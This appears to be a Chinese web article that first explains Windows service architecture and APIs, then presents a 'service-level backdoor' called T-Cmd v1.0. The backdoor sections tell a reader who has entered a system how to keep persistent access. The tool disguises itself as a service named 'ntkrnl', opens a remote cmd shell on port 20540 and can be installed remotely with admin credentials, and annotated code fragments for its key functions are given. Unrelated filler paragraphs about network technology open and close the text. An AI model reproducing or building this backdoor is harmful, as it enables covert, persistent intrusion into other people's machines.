|
網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計算機(jī)、存儲資源、數(shù)據(jù)資源、信息資源、知識資源、專家資源、大型數(shù)據(jù)庫、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 一、序言 Windows下的服務(wù)程序都遵循服務(wù)控制管理器(SCM)的接口標(biāo)準(zhǔn),它們會在登錄系統(tǒng)時自動運(yùn)行,甚至在沒有用戶登錄系統(tǒng)的情況下也會正常執(zhí)行,類似與UNIX系統(tǒng)中的守護(hù)進(jìn)程(daemon)。它們大多是控制臺程序,不過也有少數(shù)的GUI程序。本文所涉及到的服務(wù)程序僅限于Windows2000/XP系統(tǒng)中的一般服務(wù)程序,不包含Windows9X。 二、Windows服務(wù)簡介 服務(wù)控制管理器擁有一個在注冊表中記錄的數(shù)據(jù)庫,包含了所有已安裝的服務(wù)程序和設(shè)備驅(qū)動服務(wù)程序的相關(guān)信息。它允許系統(tǒng)管理員為每個服務(wù)自定義安全要求和控制訪問權(quán)限。Windows服務(wù)包括四大部分:服務(wù)控制管理器(Service Control Manager),服務(wù)控制程序(Service Control Program),服務(wù)程序(Service Program)和服務(wù)配置程序(Service Configuration Program)。 1.服務(wù)控制管理器(SCM) 服務(wù)控制管理器在系統(tǒng)啟動的早期由Winlogon進(jìn)程啟動,可執(zhí)行文件名是“Admin$\System32\Services.exe”,它是系統(tǒng)中的一個RPC服務(wù)器,因此服務(wù)配置程序和服務(wù)控制程序可以在遠(yuǎn)程操縱服務(wù)。它包括以下幾方面的信息: 已安裝服務(wù)數(shù)據(jù)庫:服務(wù)控制管理器在注冊表中擁有一個已安裝服務(wù)的數(shù)據(jù)庫,它在服務(wù)控制管理器和程序添加,刪除,配置服務(wù)程序時使用,在注冊表中數(shù)據(jù)庫的位置為:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services。它包括很多子鍵,每個子鍵的名字就代表一個對應(yīng)的服務(wù)。數(shù)據(jù)庫中包括:服務(wù)類型(私有進(jìn)程,共享進(jìn)程),啟動類型(自動運(yùn)行,由服務(wù)控制管理器啟動,無效),錯誤類型(忽略,常規(guī)錯誤,服務(wù)錯誤,關(guān)鍵錯誤),執(zhí)行文件路徑,依賴信息選項,可選用戶名與密碼。 自動啟動服務(wù):系統(tǒng)啟動時,服務(wù)控制管理器啟動所有“自啟”服務(wù)和相關(guān)依賴服務(wù)。服務(wù)的加載順序:順序裝載組列表: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ServiceGroupOrder;指定組列表: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\GroupOrderList;每個服務(wù)所依賴的服務(wù)程序。 在系統(tǒng)成功引導(dǎo)后會保留一份LKG(Last-Know-Good)的配置信息位于: HKEY_LOCAL_MACHINE\SYSTEM\ControlSetXXX\Services。 因要求而啟動服務(wù):用戶可以使用服務(wù)控制面板程序來啟動一項服務(wù)。服務(wù)控制程序也可以使用StartService來啟動服務(wù)。服務(wù)控制管理器會進(jìn)行下面的操作:獲取帳戶信息,登錄服務(wù)項目,創(chuàng)建服務(wù)為懸掛狀態(tài),分配登錄令牌給進(jìn)程,允許進(jìn)程執(zhí)行。 服務(wù)記錄列表:每項服務(wù)在數(shù)據(jù)庫中都包含了下面的內(nèi)容:服務(wù)名稱,開始類型,服務(wù)狀態(tài)(類型,當(dāng)前狀態(tài),接受控制代碼,退出代碼,等待提示),依賴服務(wù)列表指針。 服務(wù)控制管理器句柄:服務(wù)控制管理器支持句柄類型訪問以下對象:已安裝服務(wù)數(shù)據(jù)庫,服務(wù)程序,數(shù)據(jù)庫的鎖開狀態(tài)。 2.服務(wù)控制程序(SCP) 服務(wù)控制程序可以執(zhí)行對服務(wù)程序的開啟,控制和狀態(tài)查詢功能: 開啟服務(wù):如果服務(wù)的開啟類型為SERVICE_DEMAND_START,就可以用服務(wù)控制程序來開始一項服務(wù)。在開始服務(wù)的初始化階段服務(wù)的當(dāng)前狀態(tài)為:SERVICE_START_PENDING,而在初始化完成后的狀態(tài)就是:SERVICE_RUNNING。 向正在運(yùn)行的服務(wù)發(fā)送控制請求:控制請求可以是系統(tǒng)默認(rèn)的,也可以是用戶自定義的。標(biāo)準(zhǔn)控制代碼如下:停止服務(wù)(SERVICE_CONTROL_STOP),暫停服務(wù)(SERVICE_CONTROL_PAUSE),恢復(fù)已暫停服務(wù)(SERVICE_CONTROL_CONTINUE),獲得更新信息(SERVICE_CONTROL_INTERROGATE)。 3.服務(wù)程序 一個服務(wù)程序可能擁有一個或多個服務(wù)的執(zhí)行代碼。我們可以創(chuàng)建類型為SERVICE_WIN32_OWN_PROCESS的只擁有一個服務(wù)的服務(wù)程序。而類型為SERVICE_WIN32_SHARE_PROCESS的服務(wù)程序卻可以包含多個服務(wù)的執(zhí)行代碼。詳情參見后面的Windows服務(wù)與編程。 4.服務(wù)配置程序 編程人員和系統(tǒng)管理員可以使用服務(wù)配置程序來更改,查詢已安裝服務(wù)的信息。當(dāng)然也可以通過注冊表函數(shù)來訪問相關(guān)資源。 服務(wù)的安裝,刪除和列舉:我們可以使用相關(guān)的系統(tǒng)函數(shù)來創(chuàng)建,刪除服務(wù)和查詢所有服務(wù)的當(dāng)前狀態(tài)。 服務(wù)配置:系統(tǒng)管理員通過服務(wù)配置程序來控制服務(wù)的啟動類型,顯示名稱和相關(guān)描述信息。 [page_break]三、Windows服務(wù)與編程 Windows服務(wù)編程包括幾方面的內(nèi)容,下面我們將從服務(wù)控制程序,服務(wù)程序和服務(wù)配置程序的角度介紹服務(wù)編程相關(guān)的內(nèi)容。 1.服務(wù)控制程序 執(zhí)行服務(wù)控制程序的相關(guān)函數(shù)前,我們需要獲得一個服務(wù)對象的句柄,方式有兩種:由OpenSCManager來獲得一臺特定主機(jī)的服務(wù)控制管理器數(shù)據(jù)庫的句柄;使用OpenService或CreateService函數(shù)來獲得某個服務(wù)對象的句柄。 啟動服務(wù):要啟動一個服務(wù),服務(wù)控制程序可以使用StartService來實現(xiàn)。如果服務(wù)控制管理器數(shù)據(jù)庫被鎖定,那需要等待一定的時間然后再次測試StartService函數(shù)。當(dāng)然也可以使用QueryServiceLockStatus函數(shù)來確認(rèn)數(shù)據(jù)庫的當(dāng)前狀態(tài)。在啟動成功完成時,那么dwCurrentState參數(shù)將會返回SERVICE_RUNNING值。 服務(wù)控制請求:服務(wù)控制程序使用ControlService函數(shù)來發(fā)送控制請求到正在運(yùn)行的服務(wù)程序。它會向控制句柄函數(shù)發(fā)送一個特定的控制命令,可以是系統(tǒng)默認(rèn)的,也可以是用戶自定義的。而且每個服務(wù)都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數(shù)時,在返回的dwControlsAccepted參數(shù)中表明服務(wù)程序?qū)邮盏目刂泼。所有的服?wù)都會接受SERVICE_CONTROL_INTERROGATE命令。 2.服務(wù)程序 一個服務(wù)程序內(nèi)可以包含一個服務(wù)或多個服務(wù)的執(zhí)行代碼,但是它們都擁有固定的三個部分:服務(wù)main函數(shù),服務(wù)ServiceMain函數(shù)和服務(wù)Control Handler函數(shù)。 服務(wù)main函數(shù):服務(wù)程序通常是以控制臺的方式存在的,所以它們的入口點(diǎn)都是main函數(shù)。在服務(wù)控制管理器開始一個服務(wù)程序時,會等待StartServiceCtrlDispatcher函數(shù)的執(zhí)行。如果服務(wù)類型是SERVICE_WIN32_OWN_PROCESS就會立即調(diào)用StartServiceCtrlDispatcher函數(shù)的執(zhí)行;如果服務(wù)類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服務(wù)之后再調(diào)用它。StartServiceCtrlDispatcher函數(shù)的參數(shù)就是一個SERVICE_TABLE_ENTRY結(jié)構(gòu),它包含了進(jìn)程內(nèi)所有服務(wù)的名稱和服務(wù)入口點(diǎn)。 服務(wù)ServiceMain函數(shù):函數(shù)ServiceMain是服務(wù)的入口點(diǎn)。在服務(wù)控制程序請求一個新的服務(wù)啟動時,服務(wù)控制管理器啟動一個服務(wù),并發(fā)送一個開始請求到控制調(diào)度程序,而后控制調(diào)度程序創(chuàng)建一個新線程來執(zhí)行ServiceMain函數(shù)。ServiceMain須執(zhí)行以下的任務(wù):調(diào)用RegisterServiceCtrlHandler函數(shù)注冊一個HandlerEx函數(shù)來向服務(wù)發(fā)送控制請求信息,返回值是服務(wù)狀態(tài)句柄用來向服務(wù)控制管理器傳送服務(wù)狀態(tài)。初始化后調(diào)用SetServiceStatus函數(shù)設(shè)置服務(wù)狀態(tài)為SERVICE_RUNNING。最后,就是執(zhí)行服務(wù)所要完成的任務(wù)。 服務(wù)Control Handler函數(shù):每個服務(wù)都有一個控制句柄HandlerEx函數(shù)。它會在服務(wù)進(jìn)程從服務(wù)控制程序接收到一個控制請求時被控制調(diào)度程序所調(diào)用。無論何時在HandlerEx函數(shù)被調(diào)用時,都要調(diào)用SetServiceStatus函數(shù)向服務(wù)控制管理器報告它當(dāng)前的狀態(tài)。在用戶關(guān)閉系統(tǒng)時,所有的控制句柄都會調(diào)用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數(shù)來接收NSERVICE_CONTROL_SHUTDOWN控制代碼。 3.服務(wù)配置程序 服務(wù)配置程序可以更改或查詢服務(wù)的當(dāng)前配置信息。在調(diào)用服務(wù)配置函數(shù)之前,必須獲得一個服務(wù)對象的句柄,當(dāng)然我們可以通過調(diào)用OpenSCManager,OpenService或CreateService函數(shù)來獲得。 創(chuàng)建,刪除服務(wù):服務(wù)配置程序使用CreateService函數(shù)在服務(wù)控制管理器的數(shù)據(jù)庫中安裝一個新服務(wù),它會提供服務(wù)的名稱和相關(guān)的配置信息并存儲在數(shù)據(jù)庫中。服務(wù)配置程序則使用DeleteService函數(shù)從數(shù)據(jù)庫中刪除一個已經(jīng)安裝的服務(wù)。 四、服務(wù)級后門技術(shù) 在你進(jìn)入某個系統(tǒng)后,往往會為自己留下一個或多個后門,以便今后的訪問。在上傳一個后門程序到遠(yuǎn)程系統(tǒng)上后系統(tǒng)重啟之時,總是希望后門仍然存在。那么,將后門程序創(chuàng)建成服務(wù)程序應(yīng)該是個不錯的想法,這就是利用了服務(wù)程序自動運(yùn)行的機(jī)制,當(dāng)然在Windows2000的任務(wù)管理器里也很難結(jié)束一個服務(wù)程序的進(jìn)程。 創(chuàng)建一個后門,它常常會在一個端口監(jiān)聽,以方便我們使用TCP/UDP協(xié)議與遠(yuǎn)程主機(jī)建立連接,所以我們首先需要在后門程序里創(chuàng)建一個監(jiān)聽的端口,為了數(shù)據(jù)傳輸?shù)姆(wěn)定與安全,我們可以使用TCP協(xié)議。 那么,我們?nèi)绾尾拍苣M一個Telnet服務(wù)似的后門呢?我想大家都清楚,如果在遠(yuǎn)程主機(jī)上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd里執(zhí)行命令,那么就可以實現(xiàn)對遠(yuǎn)程主機(jī)的控制了,至少可以執(zhí)行各種常規(guī)的系統(tǒng)命令。啟動一個Cmd程序的方法很多,有WinExec,ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實在太簡單了。在使用CreateProcess時,要用到它的重定向標(biāo)準(zhǔn)輸入/輸出的選項功能,把在本地主機(jī)的輸入重定向輸入到遠(yuǎn)程主機(jī)的Cmd進(jìn)程,并且把遠(yuǎn)程主機(jī)Cmd進(jìn)程的標(biāo)準(zhǔn)輸出重定向到本地主機(jī)的標(biāo)準(zhǔn)輸出。這就需要在后門程序里使用CreatePipe創(chuàng)建兩個管道來實現(xiàn)進(jìn)程間的數(shù)據(jù)通信(Inter-Process Communication,IPC)。當(dāng)然,還必須將遠(yuǎn)程主機(jī)上Cmd的標(biāo)準(zhǔn)輸入和輸出在本地主機(jī)之間進(jìn)行傳送,我們選擇TCP協(xié)議的send和recv函數(shù)。在客戶結(jié)束訪問后,還要調(diào)用TerminateProcess來結(jié)束創(chuàng)建的Cmd進(jìn)程。 五、關(guān)鍵函數(shù)分析 本文相關(guān)程序T-Cmd v1.0是一個服務(wù)級的后門程序,適用平臺為Windows2000/XP。它可自動為遠(yuǎn)程/本地主機(jī)創(chuàng)建服務(wù)級后門,無須使用任何額外的命令,支持本地/遠(yuǎn)程模式。重啟后,程序仍然自動運(yùn)行,監(jiān)聽端口20540/tcp。 1.自定義數(shù)據(jù)結(jié)構(gòu)與函數(shù) typedef struct { HANDLE hPipe; //為實現(xiàn)進(jìn)程間通信而使用的管道; SOCKET sClient; //與客戶端進(jìn)行通信時的客戶端套接字; }SESSIONDATA,*PSESSIONDATA; //重定向Cmd標(biāo)準(zhǔn)輸入/輸出時使用的數(shù)據(jù)結(jié)構(gòu); typedef struct PROCESSDATA { HANDLE hProcess; //創(chuàng)建Cmd進(jìn)程時獲得的進(jìn)程句柄; DWORD dwProcessId; //創(chuàng)建Cmd進(jìn)程時獲得的進(jìn)程標(biāo)識符; struct PROCESSDATA *next; //指向下一個數(shù)據(jù)結(jié)構(gòu)的指針; }PROCESSDATA,*PPROCESSDATA; //在客戶結(jié)束訪問或刪除服務(wù)時為關(guān)閉所以的Cmd進(jìn)程而創(chuàng)建的數(shù)據(jù)結(jié)構(gòu); void WINAPI CmdStart(DWORD,LPTSTR *); //服務(wù)程序中的“ServiceMain”:注冊服務(wù)控制句柄,創(chuàng)建服務(wù)主線程; void WINAPI CmdControl(DWORD); //服務(wù)程序中的“HandlerEx”:處理接收到的控制命令,刪除已創(chuàng)建的Cmd進(jìn)程; DWORD WINAPI CmdService(LPVOID); //服務(wù)主線程,創(chuàng)建服務(wù)監(jiān)聽端口,在接受客戶連接時,創(chuàng)建重定向Cmd標(biāo)準(zhǔn)輸入/輸出線程; DWORD WINAPI CmdShell(LPVOID); //創(chuàng)建管道與Cmd進(jìn)程,及Cmd的輸入/輸出線程; DWORD WINAPI ReadShell(LPVOID); //重定向Cmd的輸出,讀取信息后發(fā)送到客戶端; DWORD WINAPI WriteShell(LPVOID); //重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進(jìn)程; BOOL ConnectRemote(BOOL,char *,char *,char *); //如果選擇遠(yuǎn)程模式,則須與遠(yuǎn)程主機(jī)建立連接,注須提供管理員權(quán)限的用戶名與密碼,密碼為空時用"NULL"代替; void InstallCmdService(char *); //復(fù)制傳送文件,打開服務(wù)控制管理器,創(chuàng)建或打開服務(wù)程序; void RemoveCmdService(char *); //刪除文件,停止服務(wù)后,卸載服務(wù)程序; 2.服務(wù)程序相關(guān)函數(shù) SERVICE_TABLE_ENTRY DispatchTable[] = { {"ntkrnl",CmdStart}, //服務(wù)程序的名稱和入口點(diǎn); {NULL ,NULL } //SERVICE_TABLE_ENTRY結(jié)構(gòu)必須以“NULL”結(jié)束; }; StartServiceCtrlDispatcher(DispatchTable); //連接服務(wù)控制管理器,開始控制調(diào)度程序線程; ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); //注冊CmdControl函數(shù)為“HandlerEx”函數(shù),并初始化; ServiceStatus.dwCurrentState = SERVICE_RUNNING; SetServiceStatus(ServiceStatusHandle,&ServiceStatus); //設(shè)置服務(wù)的當(dāng)前狀態(tài)為SERVICE_RUNNING; hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); //創(chuàng)建服務(wù)主線程,實現(xiàn)后門功能; WaitForSingleObject(hMutex,INFINITE); //等待互斥量,控制全局變量的同步使用; TerminateProcess(lpProcessDataHead->hProcess,1); //終止創(chuàng)建的Cmd進(jìn)程; hSearch=FindFirstFile(lpImagePath,&FileData); //查找系統(tǒng)目錄下服務(wù)程序的文件是否已經(jīng)存在; GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); //獲得當(dāng)前進(jìn)程的程序文件名; CopyFile(lpCurrentPath,lpImagePath,FALSE); //復(fù)制文件到系統(tǒng)目錄下; schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); //打開服務(wù)控制管理器數(shù)據(jù)庫; CreateService(schSCManager,"ntkrnl","ntkrnl", SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE, "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); //創(chuàng)建服務(wù),參數(shù)包括名稱,服務(wù)類型,開始類型,錯誤類型及文件路徑等; schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); //如果服務(wù)已經(jīng)創(chuàng)建,則打開服務(wù); StartService(schService,0,NULL); //啟動服務(wù)進(jìn)程; ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus); //控制服務(wù)狀態(tài); DeleteService(schService); //卸載服務(wù)程序; DeleteFile(lpImagePath); //刪除文件; 3.后門程序相關(guān)函數(shù) hMutex=CreateMutex(NULL,FALSE,NULL); //創(chuàng)建互斥量; hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); //創(chuàng)建處理客戶端訪問的重定向輸入輸出線程; CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); //創(chuàng)建用于進(jìn)程間通信的輸入/輸出管道; CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo); //創(chuàng)建經(jīng)重定向輸入輸出的Cmd進(jìn)程; hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); //創(chuàng)建處理Cmd輸入輸出的線程; dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); //等待線程或進(jìn)程的結(jié)束; ReleaseMutex(hMutex); //釋放互斥量; PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL); //從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中,但不從管道中移出; ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); //從管道中復(fù)制數(shù)據(jù)到緩沖區(qū)中; WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL); //向管道中寫入從客戶端接收到的數(shù)據(jù); dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); //與遠(yuǎn)程主機(jī)建立連接; WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); //與遠(yuǎn)程主機(jī)結(jié)束連接; 網(wǎng)絡(luò)的神奇作用吸引著越來越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來越嚴(yán)峻的考驗―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項技術(shù)都需要適時應(yīng)勢,對應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請收藏一下本站!